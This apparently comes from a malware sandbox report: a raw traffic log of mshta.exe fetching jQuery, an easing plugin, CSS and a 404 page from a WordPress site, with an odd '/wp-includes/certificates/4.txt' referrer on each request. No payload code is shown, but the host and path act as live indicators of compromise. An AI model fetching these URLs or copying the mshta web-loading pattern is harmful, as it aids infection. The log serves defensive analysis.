3e 3c 62 6f 64 79 3e 22 29 2c 63 6c 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6c 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6b 29 7d 63 6a 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6a 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 70 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 70 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 63 71 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 72 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 73 2c 30 29 3b 72 65 74 75 72 6e 20 63 71 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 68 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 2c 63 29 7b 61 2e 64 61 74 Data Ascii: /! jQuery v1.7.2 jquery.com \| jquery.org/license /(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dat
Aug 16, 2022 11:05:57.835299969 CEST	1971	IN	Data Raw: 61 46 69 6c 74 65 72 26 26 28 63 3d 61 2e 64 61 74 61 46 69 6c 74 65 72 28 63 2c 61 2e 64 61 74 61 54 79 70 65 29 29 3b 76 61 72 20 64 3d 61 2e 64 61 74 61 54 79 70 65 73 2c 65 3d 7b 7d 2c 67 2c 68 2c 69 3d 64 2e 6c 65 6e 67 74 68 2c 6a 2c 6b 3d Data Ascii: aFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="")k=l;else if(l!==""
Aug 16, 2022 11:05:57.835376978 CEST	1973	IN	Data Raw: 62 53 2c 6c 3b 66 6f 72 28 3b 69 3c 6a 26 26 28 6b 7c 7c 21 6c 29 3b 69 2b 2b 29 6c 3d 68 5b 69 5d 28 63 2c 64 2c 65 29 2c 74 79 70 65 6f 66 20 6c 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 21 6b 7c 7c 67 5b 6c 5d 3f 6c 3d 62 3a 28 63 2e 64 61 74 61 Data Ascii: bS,l;for(;i<j&&(k\|\|!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k\|\|g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k\|\|!l)&&!g[""]&&(l=bZ(a,c,d,e,"",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.is
Aug 16, 2022 11:05:57.835433960 CEST	1974	IN	Data Raw: 69 6f 6e 20 62 6c 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 Data Ascii: ion bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName(""):typeof a.querySelectorAll!="undefined"?a.querySelectorAll(""):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAtt
Aug 16, 2022 11:05:57.835495949 CEST	1976	IN	Data Raw: 6e 20 65 3d 3d 3d 63 7d 29 3b 69 66 28 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 66 2e 67 72 65 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 64 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 3d 3d 3d 63 7d 29 3b 69 66 28 74 79 70 65 6f 66 Data Ascii: n e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inAr
Aug 16, 2022 11:05:57.835589886 CEST	1977	IN	Data Raw: 28 5b 5c 77 5c 2d 5d 2a 29 24 29 2f 2c 6a 3d 2f 5c 53 2f 2c 6b 3d 2f 5e 5c 73 2b 2f 2c 6c 3d 2f 5c 73 2b 24 2f 2c 6d 3d 2f 5e 3c 28 5c 77 2b 29 5c 73 2a 5c 2f 3f 3e 28 3f 3a 3c 5c 2f 5c 31 3e 29 3f 24 2f 2c 6e 3d 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73 Data Ascii: ([\w\-])$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]$/,o=/\\(?:["\\\/bfnrt]\|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?/g,q=/(?:^\|:\|,)(?:\s\[)+/g,r=/(webkit)[ \/]([\w.]
Aug 16, 2022 11:05:57.835649967 CEST	1979	IN	Data Raw: 67 74 68 3d 31 2c 74 68 69 73 5b 30 5d 3d 68 7d 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 63 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 72 65 74 75 72 6e 21 64 7c 7c 64 2e 6a 71 75 65 72 79 3f 28 64 7c 7c Data Ascii: gth=1,this[0]=h}this.context=c,this.selector=a;return this}return!d\|\|d.jquery?(d\|\|f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(
Aug 16, 2022 11:05:57.835705996 CEST	1980	IN	Data Raw: 31 3b 74 79 70 65 6f 66 20 69 3d 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 6c 3d 69 2c 69 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 6a 3d 32 29 2c 74 79 70 65 6f 66 20 69 21 3d 22 6f 62 6a 65 63 74 22 26 26 21 65 2e 69 73 46 75 6e 63 74 Data Ascii: 1;typeof i=="boolean"&&(l=i,i=arguments[1]\|\|{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)\|\|(g=e.isArray(f))
Aug 16, 2022 11:05:57.835766077 CEST	1981	IN	Data Raw: 70 61 72 73 65 46 6c 6f 61 74 28 61 29 29 26 26 69 73 46 69 6e 69 74 65 28 61 29 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 53 74 72 69 6e 67 28 61 29 3a 49 5b 43 2e 63 61 6c 6c 28 61 29 Data Ascii: parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]\|\|"object"},isPlainObject:function(a){if(!a\|\|e.type(a)!=="object"\|\|a.nodeType\|\|e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.
Aug 16, 2022 11:05:57.835823059 CEST	1983	IN	Data Raw: 61 29 3b 69 66 28 64 29 7b 69 66 28 69 29 7b 66 6f 72 28 66 20 69 6e 20 61 29 69 66 28 63 2e 61 70 70 6c 79 28 61 5b 66 5d 2c 64 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 3b 67 3c 68 3b 29 69 66 28 63 2e 61 70 70 6c 79 28 Data Ascii: a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){retu
Aug 16, 2022 11:05:58.050158024 CEST	1987	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 63 2c 66 2e 63 6f 6e 63 61 74 28 46 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 67 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 67 2e 67 75 Data Ascii: nction(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid\|\|g.guid\|\|e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(
Aug 16, 2022 11:05:58.494411945 CEST	2084	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:59.901838064 CEST	2102	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:05:58 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 22429083 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49782	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:58.002962112 CEST	1983	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:58.222429991 CEST	2020	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:16 GMT Server: Apache ETag: "a4faba-ce4-58592ec326b80" Last-Modified: Tue, 02 Apr 2019 21:35:58 GMT Content-Length: 3300 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23795840 17526806 Age: 102 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 5b 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 64 65 66 5d 28 65 2c 61 2c 63 2c 62 2c 64 29 7d 2c 65 61 73 65 49 6e 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 61 2f 3d 64 29 2a 28 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 2d 2d 61 2a 28 61 2d 32 29 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2b 63 3a 0a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 63 Data Ascii: jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa*a+c
Aug 16, 2022 11:05:58.222482920 CEST	2022	IN	Data Raw: 3a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 4d 61 74 68 2e 63 6f 73 28 61 2f 0a 64 2a 28 Data Ascii: :b/2((a-=2)aaaa+2)+c},easeInSine:function(e,a,c,b,d){return-bMath.cos(a/d(Math.PI/2))+b+c},easeOutSine:function(e,a,c,b,d){return bMath.sin(a/d(Math.PI/2))+c},easeInOutSine:function(e,a,c,b,d){return-b/2(Math.cos(Math.PI*a/d)-1)+c},
Aug 16, 2022 11:05:58.222532034 CEST	2023	IN	Data Raw: 3b 66 7c 7c 28 66 3d 64 2a 30 2e 33 2a 31 2e 35 29 3b 67 3c 4d 61 74 68 2e 61 62 73 28 62 29 3f 28 67 3d 62 2c 65 3d 66 2f 34 29 3a 65 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 62 2f 67 29 3b 72 65 74 75 72 6e 20 Data Ascii: ;f\|\|(f=d0.31.5);g<Math.abs(b)?(g=b,e=f/4):e=f/(2Math.PI)Math.asin(b/g);return 1>a?-0.5gMath.pow(2,10(a-=1))Math.sin((ad-e)2Math.PI/f)+c:0.5gMath.pow(2,-10(a-=1))Math.sin((ad-e)2Math.PI/f)+b+c},easeInBack:function(e,a,c,b,d,f)
Aug 16, 2022 11:05:58.227334976 CEST	2023	OUT	GET /wp-content/themes/CherryFramework/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:58.452451944 CEST	2081	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:02:56 GMT Server: Apache ETag: "a52f1b-20b-58592c21db700" Last-Modified: Tue, 02 Apr 2019 21:24:12 GMT Content-Length: 523 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23795842 16636609 Age: 182 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 63 68 65 72 72 79 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 33 2e 38 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 2e 31 0a 09 54 61 67 73 3a 20 64 61 72 6b 2c 20 6c 69 67 68 74 2c 20 77 68 69 74 65 2c 20 62 6c 61 63 6b 2c 20 67 72 61 79 2c 20 6c 65 66 74 2d 73 69 64 65 62 61 72 2c 20 72 69 67 68 74 2d 73 69 64 65 62 61 72 2c 20 66 69 78 65 64 2d 77 69 64 74 68 2c 20 66 6c 65 78 69 62 6c 65 2d 77 69 64 74 68 2c 20 63 75 73 74 6f 6d 2d 6d 65 6e 75 2c 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 66 75 6c 6c 2d 77 69 64 74 68 2d 74 65 6d 70 6c 61 74 65 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 72 74 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 65 6d 65 2d 6f 70 74 69 6f 6e 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 09 4c 69 63 65 6e 73 65 3a 0a 09 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 0a 09 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 63 68 65 72 72 79 0a 2a 2f 0a 40 69 6d 70 6f 72 74 20 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3b 0a Data Ascii: /Theme Name: cherryTheme URI: //info.template-help.com/help/Description: A theme for Wordpress 3.8.xAuthor: Template_Help.comAuthor URI: //info.template-help.com/help/Version: 3.1.5.1Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-readyLicense:License URI: http://Text Domain: cherry/@import "css/style.css";
